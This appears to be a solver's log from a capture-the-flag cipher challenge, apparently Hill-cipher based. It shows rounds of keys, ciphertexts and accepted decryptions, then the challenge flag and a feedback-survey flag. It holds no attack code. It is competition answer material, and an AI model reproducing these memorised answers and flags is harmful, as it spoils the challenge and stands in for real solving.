KEY : tkskeiqsiqjmottjhgutwrraplesmwiujlfh
CIPHERTEXT : zmisjzvkfoqinqzebiezgdsofzdvcohjbqqelpmikxodpuvnpxuibywhtzcg
Enter the decoded Ciphertext:vgkuextnvtignglsyvegrwjohlaxzufndsdubrckjsctvspnhgenbeksqspb
Hurrah your ans is correct
KEY : bocpnjfpk
CIPHERTEXT : yxfgmdiipnrviakhluudeqshpiqnjrvphpsfppdbbzqcbqrzzteowsdoavkk
Enter the decoded Ciphertext:evgijbernlgymkghfrygvwhnrlarqqzymjgnjyedcyejvcbajxdgaejfovxi
Hurrah your ans is correct
KEY : vacdfioouybfcliu
CIPHERTEXT : ibblivhtsfttimnamftdizcryxrizfscyzmsjzndcswgfuenifkfdigyolsl
Enter the decoded Ciphertext:nbkjvvcthvqhqydkhhulnbrndayxnwiqnaznlvfssgquyhfvjhxlkofxbvpf
Hurrah your ans is correct
KEY : sajchjkarkefrxmpekffoeifw
CIPHERTEXT : ghskjogvltgdmuobzuxajepyiglplibxmcwaqdmxcsntlbauudowchvtyinb
Enter the decoded Ciphertext:ckjbvljvzznblyrnpbqykejaqllciqliiiphqexapjrzhfozvqnqfjtbxozb
Hurrah your ans is correct
KEY : pqmzkhwyojguffjygnjuvnahn
CIPHERTEXT : hsdxrlonaiueujribfbulwortnwjbmsnlypewduxbgrnktyskqqdgvdindcm
Enter the decoded Ciphertext:cmgpetysytzymljlaahyptdgfkhshoucywhjentluxgzeynfzeywhmjspewh
Hurrah your ans is correct
KEY : gnfvrywgncaqzvwxkarknvcixpaunnyiqexp
CIPHERTEXT : reuafxaecavlrrsazxazkwgissjxmgpfbpdhvtrhsmetjuehlkvommyekifr
Enter the decoded Ciphertext:sckgvaywmuopxztkjkftlsaegkuhblbnjzkvvxjfkyzibwrwzncfdduiwuod
Hurrah your ans is correct
KEY : kapfisfbq
CIPHERTEXT : dzwvaezlqqriqaftolzwqgqxujbpvhlfehxfsiidtheuigxjqawmirnljryx
Enter the decoded Ciphertext:fjjmijlrdfvworqgxzoibepwtsglklrvfhgbqyudatwowbkykukibshorobx
Hurrah your ans is correct
KEY : fywolensbhpigvlp
CIPHERTEXT : ymmqxhxsfexmlbhiemmcruhkwrnrynlriqylpjdvqzbzxqteuwgakzotxcjq
Enter the decoded Ciphertext:cqqgjmmyjzralsiyimcwxhtsyklsmafkyyerpuoxcmnexjzaiiawaffbndpy
Hurrah your ans is correct
KEY : hptyxatqdzkloaqasfqaokigj
CIPHERTEXT : rdstizdzupkdvxloiuaaahulhqdmzqfbxawqwbcvizdwscouraqprkaykdzq
Enter the decoded Ciphertext:wknhavtmhzdjnxdwaeckembibfcdnsybewsqbuwtnbqsszspuehvesiyfvre
Hurrah your ans is correct
KEY : hjenkilwrnoggvfn
CIPHERTEXT : novfqunaqhzkzaymvzcrpotxgbzenmwrbileqrwtrpfejezyblswwglgldxl
Enter the decoded Ciphertext:kjyimventylhhxedbtdxcxustulhimydzceeymnsyzxutsaywgxrwdwdbqrw
Hurrah your ans is correct
KEY : nuwqjokqz
CIPHERTEXT : zuuehbpbbtjhgwsmozuwmcmpzkikpbgsiljstimodbcouamaujszetrkgevg
Enter the decoded Ciphertext:vmsoflzljlxdgmakaxqsuymbtiywxpaasbzczgwkjjossiosszqxqzjkkmzu
Hurrah your ans is correct
KEY : dlsdqttvr
CIPHERTEXT : cnliffktglvfmpvxaesgkzsampedoncpjarpufilhgusezsgqrkiotztwwyk
Enter the decoded Ciphertext:cupqmpnjqzkmssrnsrscereztvcyhcugjcarvhcqrpwkajgpzzgxntejbqke
Hurrah your ans is correct
KEY : fuhdsnpikhyuvctq
CIPHERTEXT : aphihpoudihzyfvjnpbwaypgcdethxxynivlwpxaojemadejeplevfphdmku
Enter the decoded Ciphertext:qzgshihzopxgvdybybgnznroogvbsbgvwrjygjiopmnicaxvireevdkyqoal
Hurrah your ans is correct
KEY : yzvt
CIPHERTEXT : ttypfbhocqbpuaohednoataiplnonhlzkzzbiigpsihbnpxbkodoiebellkp
Enter the decoded Ciphertext:wpjkcrzvgmydwonmdqdhfqyeeddhixapvayfmuxakomvgboboofnasrrkvri
Hurrah your ans is correct
KEY : xxtpmlnuowqgotzbomaqqfizqhcyrmoowavk
CIPHERTEXT : miwrxoptxubjfnphspfsrgpslkbelbdytvfmrootjipistymjsdrxpdrtwgq
Enter the decoded Ciphertext:spepqwneohtnhtuyhnadwmkouebchmwvltmgodzegdauqsgtmasdbivkorqd
Hurrah your ans is correct
KEY : jzmdvlkijwsksptu
CIPHERTEXT : suvmgrouqupeargwrrbljintjpowxubtzqmwsgzziyzrlcinezrzlbedzdzl
Enter the decoded Ciphertext:rdpagztdldbemzvbbuzwlfyxildondanwycdtvkunnsauebthyhvelggpihq
Hurrah your ans is correct
KEY : ledlwilgpzyqpzwd
CIPHERTEXT : ldvlsgvbtcyuxqeegugbwdtcrkwiplfgikaqcqwuqgufobghpjgkxslbtkhj
Enter the decoded Ciphertext:khfgevksjxcyfxakxhwvudprfhuytstzcmsgguocjbotkuttyslijyswnsmm
Hurrah your ans is correct
KEY : mtdwnchys
CIPHERTEXT : nierabnzwgkloifywqpjhiinudrnyrrokmzybwoqzppzogpwlrxcuurbliac
Enter the decoded Ciphertext:yenfqxwjyxomzmcocafvixeylbrbebqmnurhkiflxpkpauzpljyqiqhnikgu
Hurrah your ans is correct
KEY : yhdkbmmlbotcaqbaeqejhhnxk
CIPHERTEXT : yfaothkclppblxivpaixarmxwfarqqhimzsgyggzeqcmyxuvamujbtefsowm
Enter the decoded Ciphertext:iyulovosujczbszqqxacdmnilhdeikzjhltuvjrogmagcrjoyyuzolteedbs
Hurrah your ans is correct
KEY : bjkbuzevzabbynys
CIPHERTEXT : anacfaptfazjiusujfwnfwsqtlwrkacwckwcasrjeajijjopbgnfyhjfsykw
Enter the decoded Ciphertext:jaylxldjlfzlcowyuvcozuzsylscwseucmuewbypgitwkpokttntrvaacwqw
Hurrah your ans is correct
KEY : nkrzcitvffwotvtfzqlzhfkvlgilobsrdjxv
CIPHERTEXT : daetklksogxbncmjowtfehrmvzbsasrjapbglkkayvqqvsjmmtaihunvegyp
Enter the decoded Ciphertext:ylctabdchykmzziyyrwiezluaoapgfacmrvkjfzfgyvitalwpjqbrjegizlx
Hurrah your ans is correct
Congratulations you are at the top of the hill
Here's your flag : GLUG{17_15_34513r_70_g0_d0wn_4_h1ll_7h4n_up_bu7_7h3_v13w _15_fr0m_7h3_70p}
GLUG{17_15_34513r_70_g0_d0wn_4_h1ll_7h4n_up_bu7_7h3_v13w _15_fr0m_7h3_70p}
FEEDBACK (Misc)
アンケートに答えたら、フラグが表示された。
GLUG{th4nk5_4nd_s3e_y0u_nex7_y3ar}